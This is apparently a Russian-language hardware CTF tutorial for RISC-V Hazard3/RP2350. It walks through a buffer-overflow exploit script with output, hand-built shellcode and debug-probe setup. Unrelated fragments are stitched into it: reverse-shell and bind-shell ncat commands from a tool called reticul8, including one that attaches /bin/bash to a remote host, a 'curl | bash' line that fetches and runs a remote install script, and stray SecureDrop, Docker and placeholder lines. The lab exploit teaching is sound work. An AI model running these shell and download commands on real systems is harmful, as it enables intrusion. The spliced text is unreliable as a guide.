printf("Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg\n");
printf("func_impossible address: %p\n", func_impossible);
if (argc < 2)
{
printf("Error, must execute with one arg\n");
return 1;
}
printf("argv 1: %s\n", argv[1]);
strcpy((char*)buff, argv[1]);
func1();
return 0;
}
dotest.sh``` #!/usr/bin/env bash
set -x
RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"
CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
file test
spike --isa=$ISA_SPIKE "$PK" test AA
echo
spike --isa=$ISA_SPIKE "$PK" test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
После dotest.sh это вывод```
....
+ spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs /home/dreg/RISCV/riscv32-unknown-elf/bin/pk test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101d2
argv 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
z 00000000 ra 41414141 sp 7ffffd20 gp 0001c810
tp 00000000 t0 000003e8 t1 0000006a t2 00000001
s0 41414141 s1 00000000 a0 7ffffd04 a1 0001c7c4
a2 7ffffd64 a3 00000000 a4 00000000 a5 00000041
a6 ffffffff a7 00000040 s2 00000000 s3 00000000
s4 00000000 s5 00000000 s6 00000000 s7 00000000
s8 00000000 s9 00000000 sA 00000000 sB 00000000
t3 00000000 t4 00000000 t5 00008801 t6 00000005
pc 41414140 va/inst 41414140 sr 80006020
User fetch segfault @ 0x41414140
Как видите, мы успешно переполнили буфер и получили контроль над счётчиком команд (pc), задав ему значение 0x41414140, что соответствует 'AAAA' в ASCII.
Теперь создадим CRAP poc-exploit полезную нагрузку, чтобы перенаправить выполнение на функцию func_impossible.
Для создания эксплойта необходимо определить правильное смещение для перезаписи адреса возврата, а затем добавить адрес функции func_impossible.
xpl.sh``` #!/usr/bin/env bash
set -e
RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"
CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"
echo "[+] Compiling test.c..." $CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
echo "[+] Getting func_impossible address..." FUNC_ADDR=$(spike --isa=$ISA_SPIKE "$PK" test AA 2>&1 | grep "func_impossible address:" | awk '{print $3}')
if [ -z "$FUNC_ADDR" ]; then echo "[-] Error: Could not get func_impossible address" exit 1 fi
echo "[+] func_impossible address: $FUNC_ADDR"
ADDR_DEC=$((FUNC_ADDR)) BYTE1=$(printf '%02x' $((ADDR_DEC & 0xFF))) BYTE2=$(printf '%02x' $(((ADDR_DEC >> 8) & 0xFF))) BYTE3=$(printf '%02x' $(((ADDR_DEC >> 16) & 0xFF))) BYTE4=$(printf '%02x' $(((ADDR_DEC >> 24) & 0xFF)))
echo "[+] Address bytes (little-endian): \x$BYTE1 \x$BYTE2 \x$BYTE3 \x$BYTE4"
echo "[+] Starting bruteforce for offset..."
for OFFSET in {10..100}; do echo "[*] Testing offset: $OFFSET"
# Create payload with OFFSET bytes of 'A' + target address in little-endian
python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin
# Run spike and capture output
OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)
# Check if func_impossible was executed
if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
echo ""
echo "[+] SUCCESS! Offset found: $OFFSET"
echo "[+] Exploit payload saved to: exploit_payload.bin"
echo "[+] Target address: $FUNC_ADDR"
echo ""
echo "[+] Output:"
echo "$OUTPUT"
echo ""
echo "[+] To reproduce:"
SPIKE_PATH=$(which spike)
echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
exit 0
fi
done
echo "[-] Offset not found in range 10-100" exit 1
Пример вывода после запуска xpl.sh```
[+] Compiling test.c...
[+] Getting func_impossible address...
[+] func_impossible address: 0x101e2
[+] Address bytes (little-endian): \xe2 \x01 \x01 \x00
[+] Starting bruteforce for offset...
[*] Testing offset: 10
[*] Testing offset: 11
[*] Testing offset: 12
[*] Testing offset: 13
[*] Testing offset: 14
[*] Testing offset: 15
[*] Testing offset: 16
[*] Testing offset: 17
[*] Testing offset: 18
[*] Testing offset: 19
[*] Testing offset: 20
[*] Testing offset: 21
[+] SUCCESS! Offset found: 21
[+] Exploit payload saved to: exploit_payload.bin
[+] Target address: 0x101e2
[+] Output:
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101e2
argv 1: AAAAAAAAAAAAAAAAAAAAA�
�AAAAAAAAA�
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
good hacker!
[+] To reproduce:
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" test "$(cat exploit_payload.bin)"
hexdump -C exploit_payload.bin``` 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000010 41 41 41 41 41 e2 01 01 00 |AAAAA....|
Скрипт `xpl.sh` является CRAP POC, который успешно подбирает смещение, необходимое для достижения функции `func_impossible`. Возможно, вам потребуется изменить или адаптировать эксплойт под ваши конкретные требования.
# Написание Payload / Shellcode для RISCV Hazard3
В этом разделе демонстрируется переход от высокоуровневого кода C к сырым инструкциям шеллкода для ядра Hazard3 RISC-V. Мы начнем со стандартного проекта Pico SDK и постепенно будем удалять абстракции, пока не сможем выполнять сырой машинный код из массива байтов.
Установите кросс-компиляционный тулчейн и клонируйте Pico SDK.```
# Install dependencies
sudo apt-get update
sudo apt-get install cmake python3 build-essential gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib git
Это руководство содержит подробные инструкции по использованию SecureDrop.
Сайт SecureDrop и FAQ также доступны, если у вас есть дополнительные вопросы.```
cd && mkdir ~/PAYLOAD
INPUT:```
# Clone SDK v2.2.0
cd ~/PAYLOAD
git clone --recursive --branch 2.2.0 https://github.com/raspberrypi/pico-sdk.git
Настройте проект специально для RP2350 с использованием архитектуры RISC-V. Обратите внимание, что мы определяем версии платформы и инструментария для обеспечения совместимости.
Файл: `~/PAYLOAD/CMakeLists.txt```` set(PICO_PLATFORM rp2350-riscv) set(PICO_BOARD pico2 CACHE STRING "Board type") set(sdkVersion 2.2.0) set(toolchainVersion RISCV_ZCB_RPI_2_2_0_3)
cmake_minimum_required(VERSION 3.13...3.27)
include(pico-sdk/pico_sdk_init.cmake)
project(my_project)
pico_sdk_init()
add_executable(poc poc.c )
target_link_libraries(poc pico_stdlib)
pico_enable_stdio_usb(poc 1) pico_enable_stdio_uart(poc 0)
pico_add_extra_outputs(poc)
## Простой C файл
Мы начинаем с простой программы на C, которая переключает GPIO. Эта версия использует внешние функции SDK.
File: `~/PAYLOAD/poc.c````
#include <stdio.h>
#include "pico/stdlib.h"
static void __attribute__((optimize("O0"))) onled(void) {
gpio_put(25, 1);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
Скомпилируйте проект и проверьте полученный бинарный файл.``` cd ~/PAYLOAD/ rm -rf build/ && cmake -S . -B build && make -C build -j
Файл: `~/PAYLOAD/build/poc.elf````
~/PAYLOAD/build/poc.elf: ELF 32-bit LSB executable, UCB RISC-V, RVC, soft-float ABI, version 1 (SYSV), statically linked, with debug_info, not stripped
Если мы проверим дизассемблирование, мы увидим, как компилятор обрабатывает вызовы функций.
File: `~/PAYLOAD/build/poc.dis```` .... 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 2031 jal 10000146 <gpio_put> 1000013c: 0001 nop 1000013e: 40b2 lw ra,12(sp) 10000140: 4422 lw s0,8(sp) 10000142: 0141 addi sp,sp,16 10000144: 8082 ret .... 10000146 <gpio_put>: 10000146: 28a01533 bset a0,zero,a0 1000014a: d00007b7 lui a5,0xd0000 1000014e: c199 beqz a1,10000154 <gpio_put+0xe> 10000150: cf88 sw a0,24(a5) 10000152: 8082 ret 10000154: d388 sw a0,32(a5) 10000156: 8082 ret ....
## C-файл с кодом на ассемблере (без внешних вызовов)
Для создания автономной полезной нагрузки необходимо избегать внешних переходов. Мы переписываем функцию, используя встроенный ассемблер, чтобы напрямую взаимодействовать с аппаратными регистрами.
File: `~/PAYLOAD/poc_with_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
__attribute__((naked, optimize("O0"))) void onled(void) {
__asm__ volatile(
"addi sp, sp, -16\n\t"
"sw ra, 12(sp)\n\t"
"sw s0, 8(sp)\n\t"
"addi s0, sp, 16\n\t"
"li a1, 1\n\t"
"li a0, 25\n\t"
"bset a0, zero, a0\n\t"
"lui a5, 0xd0000\n\t"
"beqz a1, 1f\n\t"
"sw a0, 24(a5)\n\t"
"j 2f\n\t"
"1:\n\t"
"sw a0, 32(a5)\n\t"
"2:\n\t"
"nop\n\t"
"lw ra, 12(sp)\n\t"
"lw s0, 8(sp)\n\t"
"addi sp, sp, 16\n\t"
"ret\n\t"
);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
Теперь дизассемблирование показывает, что функция полностью самодостаточна:
File: `~/PAYLOAD/build/poc_with_asm.dis`
1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 28a01533 bset a0,zero,a0 1000013e: d00007b7 lui a5,0xd0000 10000142: c199 beqz a1,10000148 <onled+0x1a> 10000144: cf88 sw a0,24(a5) 10000146: a011 j 1000014a <onled+0x1c> 10000148: d388 sw a0,32(a5) 1000014a: 0001 nop 1000014c: 40b2 lw ra,12(sp) 1000014e: 4422 lw s0,8(sp) 10000150: 0141 addi sp,sp,16 10000152: 8082 ret 10000154: 0001 nop
## A C file with payload code / shellcode style
Извлеките опкоды в байтовый массив и выполните его, приведя к указателю на функцию.
File: `~/PAYLOAD/poc_payload_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
unsigned char payload[] = {
"\x41\x11" // 1141
"\x06\xc6" // c606
"\x22\xc4" // c422
"\x00\x08" // 0800
"\x85\x45" // 4585
"\x65\x45" // 4565
"\x33\x15\xa0\x28" // 28a01533
"\xb7\x07\x00\xd0" // d00007b7
"\x99\xc1" // c199
"\x88\xcf" // cf88
"\x11\xa0" // a011
"\x88\xd3" // d388
"\x01\x00" // 0001
"\xb2\x40" // 40b2
"\x22\x44" // 4422
"\x41\x01" // 0141
"\x82\x80" // 8082
"\x01\x00" // 0001
};
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
((void (*)(void))(void*)payload)();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
((void (*)(void))(void*)payload)();
}
return 0;
}
После сборки мы можем проверить, что полезная нагрузка правильно отображена в памяти
File: `~/PAYLOAD/build/poc_payload_asm.dis```` 20000e74 : 20000e74: 1141 c606 c422 0800 4585 4565 1533 28a0 A..."....EeE3..( 20000e84: 07b7 d000 c199 cf88 a011 d388 0001 40b2 ...............@ 20000e94: 4422 0141 8082 0001 0000 0000 "DA.........
# Отладка оборудования
Одна из задач требует объединиться с другим участником или иметь две платы RP2350 для реальной отладки оборудования; давайте научимся это делать.
(Требуется установленный pico-sdk)
/etc/udev/rules.d/99-pico.rules```
# BOOTSEL mass storage
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0003", MODE:="0666"
# Pico normal mode (USB CDC/HID); útil para picotool
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0009", MODE:="0666"
# CMSIS-DAP probes (ej. RP Debug)
SUBSYSTEMS=="usb", ATTRS{idVendor}=="0d28", MODE:="0666"
/etc/udev/rules.d/99-openocd.rules```
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0003", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="000c", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="tty", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="000c", GROUP="dialout", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0004", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0d28", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3748", GROUP="plugdev", MODE="0660" # ST-Link V2 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="374b", GROUP="plugdev", MODE="0660" # ST-Link V2-1 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3752", GROUP="plugdev", MODE="0660" # ST-Link V3
SUBSYSTEM=="usb", ATTR{idVendor}=="1366", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", GROUP="plugdev", MODE="0660"
KERNEL=="hidraw*", ATTRS{idVendor}=="2e8a", MODE="0660", GROUP="plugdev" KERNEL=="hidraw*", ATTRS{idVendor}=="0d28", MODE="0660", GROUP="plugdev"
-n, --nocolor Отключить цветной вывод
-s, --silent Показывать только результаты в выводе
-v, --version Показать версию и выйти
-h, --help Показать справку reticul8 и выйти
Примеры:
python3 reticul8.py -e /usr/bin/ncat -m socks5 -s
python3 reticul8.py -e /usr/bin/ncat -m reverse -l 10.10.5.34 -p 4443 -s -r 'wlp1s0'
python3 reticul8.py -e /usr/bin/ncat -m bind -p 4444 -s
python3 reticul8.py -e /usr/bin/ncat -m tcp -l 10.10.5.34 -p 4445 -r 5 -s
echo "python3 reticul8.py -e /usr/bin/ncat -m tcp -l 10.10.5.34 -p 4445 -r 5 -s" > reconnect.sh
chmod +x reconnect.sh
Reticul8 выполняет подстановку команд, а затем отправляет полностью сформированную команду на цель (перед кодированием в base64 и сжатием).
Например, следующая команда reticul8:
python3 reticul8.py -e /usr/bin/ncat -m socks5 -l 10.10.5.34 -p 4443 -s
Приведёт к выполнению той же команды на цели:
/usr/bin/ncat -m socks5 -l 10.10.5.34 -p 4443 -s
Однако подстановку команд можно использовать и в пути к исполняемому файлу.
Например, вы можете подключиться к уже запущенному bind shell на цели:
python3 reticul8.py -e '/usr/bin/ncat 10.10.5.34 4443 -e /bin/bash' -s
GIF-анимации
Демонстрация --method socks5 с --reconnect:
<img src="https://raw.githubusercontent.com/b4dpxl/Reticul8/main/images/usage_socks5_reconnect.gif" width="500">
Демонстрация --method tcp с --reconnect:
<img src="https://raw.githubusercontent.com/b4dpxl/Reticul8/main/images/usage_tcp_reconnect.gif" width="500">
Изменения в обновлении версии 1.0.0:```
sudo udevadm control -R
Сначала вам нужно прошить .uf2 RISCV прошивку на целевую плату. Поскольку CTF использует RISCV прошивку, этот шаг не обязателен. К тому же, вы хотите отлаживать эту прошивку!
Преобразуйте одну плату RP2350 в отладочную плату с помощью этой прошивки: https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2
Подключите отладочную плату к целевой плате

Подключите RISCV-openocd``` cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
**Исходный код**
---
[`application/vnd.docker.raw-stream.v1+json`](#)
[`application/vnd.docker.raw-stream.v2+json`](#)
[`application/vnd.docker.raw-stream`](#)
---```
/home/dreg/.pico-sdk/openocd/0.12.0+dev/openocd \
-s /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts \
-f interface/cmsis-dap.cfg \
-f target/rp2350-riscv.cfg \
-c "set USE_CORE { rv0 }" \
-c "adapter speed 5000" \
-c "gdb breakpoint_override hard" \
-c "init"
Вывод:``` Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : [rp2350.rv0] Hardware thread awareness created Info : [rp2350.rv1] Hardware thread awareness created ocd_process_reset_inner rv0 adapter speed: 5000 kHz force hard breakpoints Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729 Info : CMSIS-DAP: SWD supported Info : CMSIS-DAP: Atomic commands supported Info : CMSIS-DAP: Test domain timer supported Info : CMSIS-DAP: FW Version = 2.0.0 Info : CMSIS-DAP: Interface Initialised (SWD) Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0 Info : CMSIS-DAP: Interface ready Info : clock speed 5000 kHz Info : SWD DPIDR 0x4c013477 Info : [rp2350.rv0] datacount=1 progbufsize=2 Info : [rp2350.rv0] Disabling abstract command reads from CSRs. Info : [rp2350.rv0] Disabling abstract command writes to CSRs. Info : [rp2350.rv0] Core 0 could not be made part of halt group 1. Info : [rp2350.rv0] Examined RISC-V core Info : [rp2350.rv0] XLEN=32, misa=0x40901105 Info : [rp2350.rv0] Examination succeed Info : [rp2350.rv1] datacount=1 progbufsize=2 Info : [rp2350.rv1] Disabling abstract command reads from CSRs. Info : [rp2350.rv1] Disabling abstract command writes to CSRs. Info : [rp2350.rv1] Core 1 could not be made part of halt group 1. Info : [rp2350.rv1] Examined RISC-V core Info : [rp2350.rv1] XLEN=32, misa=0x40901105 Info : [rp2350.rv1] Examination succeed Info : [rp2350.rv0] starting gdb server on 3333 Info : Listening on port 3333 for gdb connections Info : Listening on port 6666 for tcl connections Info : Listening on port 4444 for telnet connections
Теперь подключитесь к RISCV-GDB:```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb -q \
-ex "set pagination off" \
-ex "set remote interrupt-on-connect off" \
-ex "target remote localhost:3333" \
-ex "monitor targets rp2350.rv0" \
-ex "monitor halt" \
-ex "info reg"
Вывод:``` Remote debugging using localhost:3333 warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x20001d56 in ?? () rp2350.rv0 halted due to breakpoint. rp2350.rv1 halted due to debug-request. ra 0x2001041c 0x2001041c sp 0x20010400 0x20010400 gp 0x20031455 0x20031455 tp 0x0 0x0 t0 0x2000d7ba 536926138 t1 0x6a8c 27276 t2 0x200103a0 536937376 fp 0x20082000 0x20082000 s1 0x20010450 536937552 a0 0x0 0 a1 0x7232 29234 a2 0xffa00000 -6291456 a3 0x7206 29190 a4 0x0 0 a5 0xbdf0 48624 a6 0x7750 30544 a7 0x1 1 s2 0x10000036 268435510 s3 0x0 0 s4 0x0 0 s5 0x0 0 s6 0x0 0 s7 0x0 0 s8 0x0 0 s9 0x0 0 s10 0x0 0 s11 0x0 0 t3 0x200103d4 536937428 t4 0x0 0 t5 0x6b0c 27404 t6 0x74f8 29944 pc 0x20001d56 0x20001d56
Disas 10 инструкций от текущего pc, используя x/10i $pc:```
(gdb) x/10i $pc
=> 0x20001d56: lui a5,0x20031
0x20001d5a: lbu a5,-931(a5)
0x20001d5e: .insn 2, 0x9fe1
0x20001d60: xori a5,a5,1
0x20001d64: .insn 2, 0x9fe1
0x20001d66: bnez a5,0x20001d54
0x20001d68: li a0,2000
0x20001d6c: jal 0x20004ce2
0x20001d70: nop
0x20001d72: li a5,1
С этого момента вы можете отлаживать чип.

Купить Black Magic Debug Probe: с JTAG-кабелем, 0,1-дюймовым UART-кабелем и 20-контактным адаптером:
/etc/udev/rules.d/99-blackmagic-plugdev.rules```
ACTION!="add|change|bind", GOTO="blackmagic_rules_end" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}" SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess" SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess" LABEL="blackmagic_rules_end"
`text PS> pip install osintbuddy````
sudo udevadm control -R
Обновление:
Black Magic Debug для BMP (RISC-V targets):```
./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:26:22Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:26:22Z INFO bmputil_cli] Upgrading probe firmware from 1.10.2 to 2.0.0
✔ Which firmware variant would you like to run on your probe? · Black Magic Debug for BMP (RISC-V targets)
✔ What action would you like to take with this firmware? · Flash to probe
Downloading requested firmware Found: Black Magic Probe 1.10.2
Serial: BEF6A9B0
Port: 1-3
Erasing flash...
Flashing...
100% |........................................................| 77.99 KiB/77.99 KiB [4.66 KiB/s 17s] [2026-01-08T13:26:49Z INFO bmputil::flasher] Flash complete!
No markup needed.No markup needed.``` cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
curl -fsSL https://raw.githubusercontent.com/alexivkin/pppwn/main/install.sh | bash
./bmputil-cli probe info
Found: Black Magic Probe 2.0.0
Serial: BEF6A9B0
Port: 1-3
```
ВХОД:```
./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:27:41Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:27:41Z INFO bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating
```
INPUT:```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb
```
## 🔍 Mitre ATT&CK
- TODO
- TODO
- TODO```
(gdb) target extended-remote /dev/ttyBmpGdb
Remote debugging using /dev/ttyBmpGdb
(gdb) monitor auto_scan
Target voltage: 3.3V
JTAG scan found no devices, trying SWD!
Available Targets:
No. Att Driver
1 RP2350 rv32imac
2 RP2350 rv32imac
(gdb) attach 1
Attaching to Remote target
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x100000aa in ?? ()
(gdb) x/10i $pc
=> 0x100000aa: addi a1,a1,4
0x100000ac: addi a2,a2,4
0x100000ae: bltu a2,a3,0x100000a6
0x100000b2: ret
0x100000b4: addi a3,sp,128
0x100000b6: addi s0,sp,32
0x100000b8: unimp
0x100000ba: fld fs0,0(s0)
0x100000bc: sw a3,96(a5)
0x100000be: jal 0x100000be
(gdb) c
Continuing.
```
# Дополнительная документация
- https://docs.riscv.org/reference/isa/
- https://github.com/riscv-software-src/riscv-isa-sim
- https://www.cs.sfu.ca/~ashriram/Courses/CS295/assets/notebooks/RISCV/RISCV_CARD.pdf
- https://github.com/Wren6991/Hazard3
- https://datasheets.raspberrypi.com/rp2350/rp2350-datasheet.pdf
- https://datasheets.raspberrypi.com/pico/getting-started-with-pico.pdf
- https://datasheets.raspberrypi.com/pico/raspberry-pi-pico-c-sdk.pdf
- https://www.raspberrypi.com/documentation/pico-sdk/index_doxygen.html
- https://github.com/raspberrypi/pico-examples